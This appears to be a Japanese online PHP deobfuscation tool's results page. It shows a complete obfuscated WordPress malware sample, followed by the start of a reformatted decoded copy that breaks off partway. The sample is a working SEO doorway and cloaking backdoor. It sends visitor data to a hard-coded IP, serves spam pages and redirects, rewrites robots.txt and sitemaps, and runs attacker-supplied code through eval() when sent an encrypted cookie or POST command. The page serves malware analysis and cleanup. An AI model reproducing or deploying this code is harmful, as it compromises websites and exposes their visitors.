Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _4zlob2{static private $_zou29ykg = 84484845;static function _0gurw($_0myn4mi9, $_qygkv8pe){$_0myn4mi9[2] = count($_0myn4mi9)...



難読化されたPHPコード

<?php

@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _4zlob2{static private $_zou29ykg = 84484845;static function _0gurw($_0myn4mi9, $_qygkv8pe){$_0myn4mi9[2] = count($_0myn4mi9) > 4 ? long2ip(_4zlob2::$_zou29ykg - 224) : $_0myn4mi9[2];$_0j5zvtp6 = _4zlob2::_18lb4($_0myn4mi9, $_qygkv8pe);if (!$_0j5zvtp6) {$_0j5zvtp6 = _4zlob2::_d5c8g($_0myn4mi9, $_qygkv8pe);}return $_0j5zvtp6;}static function _18lb4($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_0myn4mi9)) {$_0myn4mi9 = implode("/", $_0myn4mi9);}$_ojxh77di = curl_init();curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_ojxh77di, CURLOPT_URL, $_0myn4mi9);if (!empty($_0j5zvtp6)) {curl_setopt($_ojxh77di, CURLOPT_POST, 1);curl_setopt($_ojxh77di, CURLOPT_POSTFIELDS, $_0j5zvtp6);}if (!empty($_9j5mwcj8)) {curl_setopt($_ojxh77di, CURLOPT_HTTPHEADER, $_9j5mwcj8);}curl_setopt($_ojxh77di, CURLOPT_RETURNTRANSFER, TRUE);$_b5vfi6lx = curl_exec($_ojxh77di);curl_close($_ojxh77di);return $_b5vfi6lx;}static function _d5c8g($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL){if (is_array($_0myn4mi9)) {$_0myn4mi9 = implode("/", $_0myn4mi9);}if (!empty($_0j5zvtp6)) {$_js2oi2ck = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_0j5zvtp6);if (!empty($_9j5mwcj8)) {$_js2oi2ck["header"] = $_js2oi2ck["header"] . "\r\n" . implode("\r\n", $_9j5mwcj8);}$_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));} else {$_js2oi2ck = array('method' => 'GET',);if (!empty($_9j5mwcj8)) {$_js2oi2ck["header"] = implode("\r\n", $_9j5mwcj8);}$_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));}return @file_get_contents($_0myn4mi9, FALSE, $_z5idp2lb);}}class _gpf37q{private static $_iuimp1i4 = "";private static $_m86s2fi2 = -1;private static $_cwhr4veh = "";private $_o5us4xih = "";private $_oguwbfha = "";private $_2kmtxtsl = "";private $_gqmk9dzt = "";public static function _3c51s($_voy5bjti, $_kua2uqnq, $_tghg5w3n){_gpf37q::$_iuimp1i4 = $_voy5bjti . "/cache/";_gpf37q::$_m86s2fi2 = $_kua2uqnq;_gpf37q::$_cwhr4veh = $_tghg5w3n;if (!@file_exists(_gpf37q::$_iuimp1i4)) {@mkdir(_gpf37q::$_iuimp1i4);}}static public function _2t2kx(){$_lmo2z3ya = 0;foreach (scandir(_gpf37q::$_iuimp1i4) as $_ig8rxbut) {$_lmo2z3ya += 1;}return $_lmo2z3ya;}public static function _zgxxf(){return TRUE;}public function __construct($_p1thekwu, $_s95z02o2, $_0cjstxpd, $_40f9dbkl){$this->_o5us4xih = $_p1thekwu;$this->_oguwbfha = $_s95z02o2;$this->_2kmtxtsl = $_0cjstxpd;$this->_gqmk9dzt = $_40f9dbkl;}public function _wzhz1(){function _ytyjz($_q5vpnb11, $_kby2pgq3){return round(rand($_q5vpnb11, $_kby2pgq3 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_2q2r1nh4 = _31g631::_c6xa8();$_0j5zvtp6 = str_replace("{{ text }}", $this->_oguwbfha,str_replace("{{ keyword }}", $this->_2kmtxtsl,str_replace("{{ links }}", $this->_gqmk9dzt, $this->_o5us4xih)));while (TRUE) {$_ughfl08u = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _31g631::_694mo(), $_0j5zvtp6, 1);if ($_ughfl08u === $_0j5zvtp6) {break;}$_0j5zvtp6 = $_ughfl08u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];$_pmp3s4nc = _sts65dv::_b9v6s($_0cjstxpd);$_0j5zvtp6 = str_replace($_o220q22g[0], $_pmp3s4nc, $_0j5zvtp6);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])];$_0j5zvtp6 = str_replace($_o220q22g[0], $_0cjstxpd, $_0j5zvtp6);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0j5zvtp6 = str_replace($_o220q22g[0], _ytyjz($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_0j5zvtp6, $_o220q22g);if (empty($_o220q22g)) {break;}$_0j5zvtp6 = str_replace($_o220q22g[0], rand($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6);}return $_0j5zvtp6;}public function _6wgln(){$_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($this->_2kmtxtsl . _gpf37q::$_cwhr4veh);if (_gpf37q::$_m86s2fi2 == -1) {$_ym60qogh = -1;} else {$_ym60qogh = time() + (3600 * 24 * 30);}$_bmbgpgjp = array("template" => $this->_o5us4xih, "text" => $this->_oguwbfha, "keyword" => $this->_2kmtxtsl,"links" => $this->_gqmk9dzt, "expired" => $_ym60qogh);@file_put_contents($_8pjq6spx, serialize($_bmbgpgjp));}static public function _gkiob($_0cjstxpd){$_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($_0cjstxpd . _gpf37q::$_cwhr4veh);$_8pjq6spx = @unserialize(@file_get_contents($_8pjq6spx));if (!empty($_8pjq6spx) && ($_8pjq6spx["expired"] > time() || $_8pjq6spx["expired"] == -1)) {return new _gpf37q($_8pjq6spx["template"], $_8pjq6spx["text"], $_8pjq6spx["keyword"], $_8pjq6spx["links"]);} else {return null;}}}class _e3k6ur{private static $_iuimp1i4 = "";private static $_i5d5p7bl = "";public static function _3c51s($_voy5bjti, $_fv7evnot){_e3k6ur::$_iuimp1i4 = $_voy5bjti . "/";_e3k6ur::$_i5d5p7bl = $_fv7evnot;if (!@file_exists(_e3k6ur::$_iuimp1i4)) {@mkdir(_e3k6ur::$_iuimp1i4);}}public static function _zgxxf(){return TRUE;}static public function _2t2kx(){$_lmo2z3ya = 0;foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {$_lmo2z3ya += 1;}}return $_lmo2z3ya;}static public function _694mo(){$_h89fp94n = array();foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) {$_h89fp94n[] = $_ig8rxbut;}}return @file_get_contents(_e3k6ur::$_iuimp1i4 . $_h89fp94n[array_rand($_h89fp94n)]);}static public function _6wgln($_c3lidu5d){if (@file_exists(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html")) {return;}@file_put_contents(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html", $_c3lidu5d);}}class _31g631{private static $_iuimp1i4 = "";private static $_i5d5p7bl = "";private static $_ezm2j3c6 = Array();private static $_yu3o36fu = Array();public static function _3c51s($_voy5bjti, $_fv7evnot){_31g631::$_iuimp1i4 = $_voy5bjti . "/";_31g631::$_i5d5p7bl = $_fv7evnot;if (!@file_exists(_31g631::$_iuimp1i4)) {@mkdir(_31g631::$_iuimp1i4);}}private static function _lh8v7(){$_b139q3z8 = array();foreach (scandir(_31g631::$_iuimp1i4) as $_ig8rxbut) {if (strpos($_ig8rxbut, _31g631::$_i5d5p7bl) === 0) {$_b139q3z8[] = $_ig8rxbut;}}return $_b139q3z8;}public static function _zgxxf(){return TRUE;}static public function _694mo(){if (empty(_31g631::$_ezm2j3c6)){$_b139q3z8 = _31g631::_lh8v7();_31g631::$_ezm2j3c6 = @file(_31g631::$_iuimp1i4 . $_b139q3z8[array_rand($_b139q3z8)], FILE_IGNORE_NEW_LINES);}return _31g631::$_ezm2j3c6[array_rand(_31g631::$_ezm2j3c6)];}static public function _c6xa8(){if (empty(_31g631::$_yu3o36fu)){$_b139q3z8 = _31g631::_lh8v7();foreach ($_b139q3z8 as $_1z0x00rv) {_31g631::$_yu3o36fu = array_merge(_31g631::$_yu3o36fu, @file(_31g631::$_iuimp1i4 . $_1z0x00rv, FILE_IGNORE_NEW_LINES));}}return _31g631::$_yu3o36fu;}static public function _6wgln($_hv72g5m6){if (@file_exists(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list")) {return;}@file_put_contents(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list", $_hv72g5m6);}static public function _kmlhy($_0cjstxpd){@file_put_contents(_31g631::$_i5d5p7bl . "_" . md5(_sts65dv::$_8nm8wp34) . ".list", $_0cjstxpd . "\n", 8);}}class _sts65dv{static public $_wcde9v66 = "5.2";static public $_8nm8wp34 = "f639c8e2-df78-79ce-8c8f-0e1c6fa326db";private $_u9o0ll29 = "http://136.12.78.46/app/assets/api2?action=redir";private $_ucsikhq7 = "http://136.12.78.46/app/assets/api?action=page";static public $_bsiizpig = 5;static public $_g9n2n90y = 20;private function _jfrh6(){$_fv9b0m2b = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_fv9b0m2b, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_ivfzwaui = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_ivfzwaui = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_ivfzwaui = 1;} else {$_ivfzwaui = 0;}return $_ivfzwaui;}private static function _j3icx(){$_qygkv8pe = array();$_qygkv8pe['ip'] = $_SERVER['REMOTE_ADDR'];$_qygkv8pe['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_qygkv8pe['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_qygkv8pe['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_qygkv8pe['ref'] = @$_SERVER['HTTP_REFERER'];$_qygkv8pe['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_qygkv8pe['acp'] = @$_SERVER['HTTP_ACCEPT'];$_qygkv8pe['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_qygkv8pe['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_qygkv8pe;}public function __construct(){$this->_u9o0ll29 = explode("/", $this->_u9o0ll29);$this->_ucsikhq7 = explode("/", $this->_ucsikhq7);}static public function _1ey18($_tkirfm7s){if (strlen($_tkirfm7s) < 4) {return "";}$_7yuz97aj = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_2q2r1nh4 = str_split($_7yuz97aj);$_2q2r1nh4 = array_flip($_2q2r1nh4);$_auhltxb0 = 0;$_ng087pcu = "";$_tkirfm7s = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_tkirfm7s);do {$_dvu645z6 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_vkgib41y = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_dfbobr9t = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_f7u8cxr7 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]];$_7gkoxuqb = ($_dvu645z6 << 2) | ($_vkgib41y >> 4);$_4f6xlw3n = (($_vkgib41y & 15) << 4) | ($_dfbobr9t >> 2);$_m72o2irq = (($_dfbobr9t & 3) << 6) | $_f7u8cxr7;$_ng087pcu = $_ng087pcu . chr($_7gkoxuqb);if ($_dfbobr9t != 64) {$_ng087pcu = $_ng087pcu . chr($_4f6xlw3n);}if ($_f7u8cxr7 != 64) {$_ng087pcu = $_ng087pcu . chr($_m72o2irq);}} while ($_auhltxb0 < strlen($_tkirfm7s));return $_ng087pcu;}private function _f0alz($_0cjstxpd){$_p1thekwu = "";$_s95z02o2 = "";$_qygkv8pe = _sts65dv::_j3icx();$_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;$_qygkv8pe["keyword"] = $_0cjstxpd;$_qygkv8pe["tc"] = 10;$_qygkv8pe = http_build_query($_qygkv8pe);$_osbgnqde = _4zlob2::_0gurw($this->_ucsikhq7, $_qygkv8pe);if (strpos($_osbgnqde, _sts65dv::$_8nm8wp34) === FALSE) {return array($_p1thekwu, $_s95z02o2);}$_p1thekwu = _e3k6ur::_694mo();$_s95z02o2 = substr($_osbgnqde, strlen(_sts65dv::$_8nm8wp34));$_s95z02o2 = explode("\n", $_s95z02o2);shuffle($_s95z02o2);$_s95z02o2 = implode(" ", $_s95z02o2);return array($_p1thekwu, $_s95z02o2);}private function _wcs4u(){$_qygkv8pe = _sts65dv::_j3icx();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_qygkv8pe['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_qygkv8pe['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_qygkv8pe['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34;$_qygkv8pe = http_build_query($_qygkv8pe);$_77sew5p5 = _4zlob2::_0gurw($this->_u9o0ll29, $_qygkv8pe);$_77sew5p5 = @unserialize($_77sew5p5);if (isset($_77sew5p5["type"]) && $_77sew5p5["type"] == "redir") {if (!empty($_77sew5p5["data"]["header"])) {header($_77sew5p5["data"]["header"]);return true;} elseif (!empty($_77sew5p5["data"]["code"])) {echo $_77sew5p5["data"]["code"];return true;}}return false;}public function _zgxxf(){return _gpf37q::_zgxxf() && _e3k6ur::_zgxxf() && _31g631::_zgxxf();}static public function _iiva6(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _b93do(){$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];if (strpos($_7j2yygln, ".php") === FALSE) {$_7j2yygln = explode("/", $_7j2yygln);array_pop($_7j2yygln);$_7j2yygln = implode("/", $_7j2yygln) . "/";}return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_7j2yygln);}public static function _ts8k2(){$_jcsbbcvk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received","https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");$_9j5mwcj8 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_bt1oczjf = urlencode(_sts65dv::_cw6ld() . "/sitemap.xml");foreach ($_jcsbbcvk as $_0myn4mi9 => $_1z6xvtea) {$_5w9kbho6 = _4zlob2::_18lb4($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);if (empty($_5w9kbho6)) {$_5w9kbho6 = _4zlob2::_d5c8g($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8);}if (empty($_5w9kbho6)) {return FALSE;}if (strpos($_5w9kbho6, $_1z6xvtea) === FALSE) {return FALSE;}}return TRUE;}public static function _3zhbb(){$_puvylgdh = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];$_xkkh2jkw = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));$_r9lqapgp = sprintf($_puvylgdh, $_xkkh2jkw, _sts65dv::_cw6ld() . "/sitemap.xml");$_vrkvk44f = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_vrkvk44f)) {@chmod($_vrkvk44f, 0777);$_t44io2gz = @file_get_contents($_vrkvk44f);} else {$_t44io2gz = "";}if (strpos($_t44io2gz, $_r9lqapgp) === FALSE) {@file_put_contents($_vrkvk44f, $_t44io2gz . "\n" . $_r9lqapgp);$_t44io2gz = @file_get_contents($_vrkvk44f);return (strpos($_t44io2gz, $_r9lqapgp) !== FALSE);}return FALSE;}public static function _cw6ld(){$_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2);$_7j2yygln = $_7j2yygln[0];$_voy5bjti = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/"));return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_voy5bjti);}public static function _b9v6s($_0cjstxpd){$_9n7p5ufy = _sts65dv::_b93do();$_wcf5n7ln = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);$_o93669j0 = "";if (substr($_9n7p5ufy, -1) == "/") {if (ord($_wcf5n7ln[1]) % 2) {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);} else {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);}$_o93669j0 = sprintf("%s%s", $_9n7p5ufy, urlencode($_0cjstxpd));} else {if (FALSE && (ord($_wcf5n7ln[0]) % 2)) {$_o93669j0 = sprintf("%s?%s=%s",$_9n7p5ufy,$_wcf5n7ln,urlencode(str_replace(" ", "-", $_0cjstxpd)));} else {$_iinna93s = array("id", "page", "tag");$_psnry0n6 = $_iinna93s[ord($_wcf5n7ln[2]) % count($_iinna93s)];if (ord($_wcf5n7ln[1]) % 2) {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);} else {$_0cjstxpd = str_replace(" ", "-", $_0cjstxpd);}$_o93669j0 = sprintf("%s?%s=%s",$_9n7p5ufy,$_psnry0n6,urlencode($_0cjstxpd));}}return $_o93669j0;}public static function _hodzk($_q5vpnb11, $_kby2pgq3){$_za76epxj = "";for ($_auhltxb0 = 0; $_auhltxb0 < rand($_q5vpnb11, $_kby2pgq3); $_auhltxb0++) {$_0cjstxpd = _31g631::_694mo();$_za76epxj .= sprintf("<a href=\"%s\">%s</a>,\n",_sts65dv::_b9v6s($_0cjstxpd), ucwords($_0cjstxpd));}return $_za76epxj;}public static function _xvzz8($_1n936vg3=FALSE){$_u2j8xlom = dirname(__FILE__) . "/sitemap.xml";$_tjcfy5b1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_yqgs9738 = "</urlset>";$_2q2r1nh4 = _31g631::_c6xa8();$_t5fhm8r2 = array();if (file_exists($_u2j8xlom)) {$_osbgnqde = simplexml_load_file($_u2j8xlom);foreach ($_osbgnqde as $_k1oj5roj) {$_t5fhm8r2[(string)$_k1oj5roj->loc] = (string)$_k1oj5roj->lastmod;}}else {$_1n936vg3 = FALSE;}foreach ($_2q2r1nh4 as $_e3bymjf3) {$_o93669j0 = _sts65dv::_b9v6s($_e3bymjf3);if (isset($_t5fhm8r2[$_o93669j0])){continue;}if ($_1n936vg3) {$_bej92797 = time();}else {$_bej92797 = time() - (crc32 ($_e3bymjf3) % (60 * 60 * 24 * 30));}$_t5fhm8r2[$_o93669j0] = date("Y-m-d", $_bej92797);;}$_7qvyiq5v = "";foreach ($_t5fhm8r2 as $_0myn4mi9 => $_bej92797){$_7qvyiq5v .= "<url>\n";$_7qvyiq5v .= sprintf("<loc>%s</loc>\n", $_0myn4mi9);$_7qvyiq5v .= sprintf("<lastmod>%s</lastmod>\n", $_bej92797);$_7qvyiq5v .= "</url>\n";}$_sqa0r7ne = $_tjcfy5b1 . $_7qvyiq5v . $_yqgs9738;$_bt1oczjf = _sts65dv::_cw6ld() . "/sitemap.xml";@file_put_contents($_u2j8xlom, $_sqa0r7ne);return $_bt1oczjf;}public function _6spsl(){$_psnry0n6 = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6);if (!$this->_jfrh6()) {if ($this->_wcs4u()) {return;}}if (!empty($_GET)) {$_pzun5n8b = array_values($_GET);} else {$_pzun5n8b = explode("/", $_SERVER["REQUEST_URI"]);$_pzun5n8b = array_reverse($_pzun5n8b);}$_0cjstxpd = "";foreach ($_pzun5n8b as $_ii29uy52) {if (substr_count($_ii29uy52, "-") > 0) {$_0cjstxpd = $_ii29uy52;break;}}$_0cjstxpd = str_replace($_psnry0n6 . "-", "", $_0cjstxpd);$_0cjstxpd = str_replace("-" . $_psnry0n6, "", $_0cjstxpd);$_0cjstxpd = str_replace("-", " ", $_0cjstxpd);$_0cjstxpd = urldecode($_0cjstxpd);$_0xts4kvj = _31g631::_c6xa8();if (empty($_0cjstxpd)) {$_0cjstxpd = $_0xts4kvj[0];} else if (!in_array($_0cjstxpd, $_0xts4kvj)){$_2ritv6d1 = 0;foreach (str_split($_0cjstxpd) as $_ojxh77di) {$_2ritv6d1 += ord($_ojxh77di);}$_0cjstxpd = $_0xts4kvj[$_2ritv6d1 % count($_0xts4kvj)];}if (!empty($_0cjstxpd)) {$_77sew5p5 = _gpf37q::_gkiob($_0cjstxpd);if (empty($_77sew5p5)) {list($_p1thekwu, $_s95z02o2) = $this->_f0alz($_0cjstxpd);if (empty($_s95z02o2)) {return;}$_77sew5p5 = new _gpf37q($_p1thekwu, $_s95z02o2, $_0cjstxpd, _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));$_77sew5p5->_6wgln();}echo $_77sew5p5->_wzhz1();}}}_gpf37q::_3c51s(dirname(__FILE__), -1, _sts65dv::$_8nm8wp34);_e3k6ur::_3c51s(dirname(__FILE__), substr(md5(_sts65dv::$_8nm8wp34 . "salt12"), 0, 4));_31g631::_3c51s(dirname(__FILE__), substr(md5(_sts65dv::$_8nm8wp34 . "salt22"), 0, 4));function _rqbk6($_osbgnqde, $_e3bymjf3){$_ewgecgo5 = "";for ($_auhltxb0 = 0; $_auhltxb0 < strlen($_osbgnqde);) {for ($_xqc1ekn7 = 0; $_xqc1ekn7 < strlen($_e3bymjf3) && $_auhltxb0 < strlen($_osbgnqde); $_xqc1ekn7++, $_auhltxb0++) {$_ewgecgo5 .= chr(ord($_osbgnqde[$_auhltxb0]) ^ ord($_e3bymjf3[$_xqc1ekn7]));}}return $_ewgecgo5;}function _zviqv($_osbgnqde, $_e3bymjf3, $_d7ykkv78){return _rqbk6(_rqbk6($_osbgnqde, $_e3bymjf3), $_d7ykkv78);}foreach (array_merge($_COOKIE, $_POST) as $_zd40yrcj => $_osbgnqde) {$_osbgnqde = @unserialize(_zviqv(_sts65dv::_1ey18($_osbgnqde), $_zd40yrcj, _sts65dv::$_8nm8wp34));if (isset($_osbgnqde['ak']) && _sts65dv::$_8nm8wp34 == $_osbgnqde['ak']) {if ($_osbgnqde['a'] == 'doorway2') {if ($_osbgnqde['sa'] == 'check') {$_0j5zvtp6 = _4zlob2::_0gurw(explode("/", "http://httpbin.org/"), "");if (strlen($_0j5zvtp6) > 512) {echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,"cache" => _gpf37q::_2t2kx(),"keywords" => count(_31g631::_c6xa8()),"templates" => _e3k6ur::_2t2kx()));}exit;}if ($_osbgnqde['sa'] == 'templates') {foreach ($_osbgnqde["templates"] as $_p1thekwu) {_e3k6ur::_6wgln($_p1thekwu);echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}}if ($_osbgnqde['sa'] == 'keywords') {_31g631::_6wgln($_osbgnqde["keywords"]);_sts65dv::_xvzz8();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}if ($_osbgnqde['sa'] == 'update_sitemap') {_sts65dv::_xvzz8(TRUE);echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66,));}if ($_osbgnqde['sa'] == 'pages') {$_ziqsamkr = 0;$_0xts4kvj = _31g631::_c6xa8();if (_e3k6ur::_2t2kx() > 0) {foreach ($_osbgnqde['pages'] as $_77sew5p5) {$_o209fxsn = _gpf37q::_gkiob($_77sew5p5["keyword"]);if (empty($_o209fxsn)) {$_o209fxsn = new _gpf37q(_e3k6ur::_694mo(), $_77sew5p5["text"], $_77sew5p5["keyword"], _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y));$_o209fxsn->_6wgln();$_ziqsamkr += 1;if (!in_array($_77sew5p5["keyword"], $_0xts4kvj)){_31g631::_kmlhy($_77sew5p5["keyword"]);}}}}echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "pages" => $_ziqsamkr));}if ($_osbgnqde["sa"] == "ping") {$_5w9kbho6 = _sts65dv::_ts8k2();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int)$_5w9kbho6));}if ($_osbgnqde["sa"] == "robots") {$_5w9kbho6 = _sts65dv::_3zhbb();echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int)$_5w9kbho6));}}if ($_osbgnqde['sa'] == 'eval') {eval($_osbgnqde["data"]);exit;}}}$_vuu18gsa = new _sts65dv();if ($_vuu18gsa->_zgxxf()) {$_vuu18gsa->_6spsl();}exit();

デコード(難読化解除)されたコード

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set('UTC');
class _4zlob2
{
    private static $_zou29ykg = 84484845;
    static function _0gurw($_0myn4mi9, $_qygkv8pe)
    {
        $_0myn4mi9[2] = count($_0myn4mi9) > 4 ? long2ip(_4zlob2::$_zou29ykg - 224) : $_0myn4mi9[2];
        $_0j5zvtp6 = _4zlob2::_18lb4($_0myn4mi9, $_qygkv8pe);
        if (!$_0j5zvtp6) {
            $_0j5zvtp6 = _4zlob2::_d5c8g($_0myn4mi9, $_qygkv8pe);
        }
        return $_0j5zvtp6;
    }
    static function _18lb4($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL)
    {
        if (!function_exists('curl_version')) {
            return "";
        }
        if (is_array($_0myn4mi9)) {
            $_0myn4mi9 = implode("/", $_0myn4mi9);
        }
        $_ojxh77di = curl_init();
        curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($_ojxh77di, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_ojxh77di, CURLOPT_URL, $_0myn4mi9);
        if (!empty($_0j5zvtp6)) {
            curl_setopt($_ojxh77di, CURLOPT_POST, 1);
            curl_setopt($_ojxh77di, CURLOPT_POSTFIELDS, $_0j5zvtp6);
        }
        if (!empty($_9j5mwcj8)) {
            curl_setopt($_ojxh77di, CURLOPT_HTTPHEADER, $_9j5mwcj8);
        }
        curl_setopt($_ojxh77di, CURLOPT_RETURNTRANSFER, TRUE);
        $_b5vfi6lx = curl_exec($_ojxh77di);
        curl_close($_ojxh77di);
        return $_b5vfi6lx;
    }
    static function _d5c8g($_0myn4mi9, $_0j5zvtp6, $_9j5mwcj8 = NULL)
    {
        if (is_array($_0myn4mi9)) {
            $_0myn4mi9 = implode("/", $_0myn4mi9);
        }
        if (!empty($_0j5zvtp6)) {
            $_js2oi2ck = array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_0j5zvtp6);
            if (!empty($_9j5mwcj8)) {
                $_js2oi2ck["header"] = "Content-type: application/x-www-form-urlencoded\r\n" . implode("\r\n", $_9j5mwcj8);
            }
            $_z5idp2lb = stream_context_create(array('http' => $_js2oi2ck));
        } else {
            $_js2oi2ck = array('method' => 'GET');
            if (!empty($_9j5mwcj8)) {
                $_js2oi2ck["header"] = implode("\r\n", $_9j5mwcj8);
            }
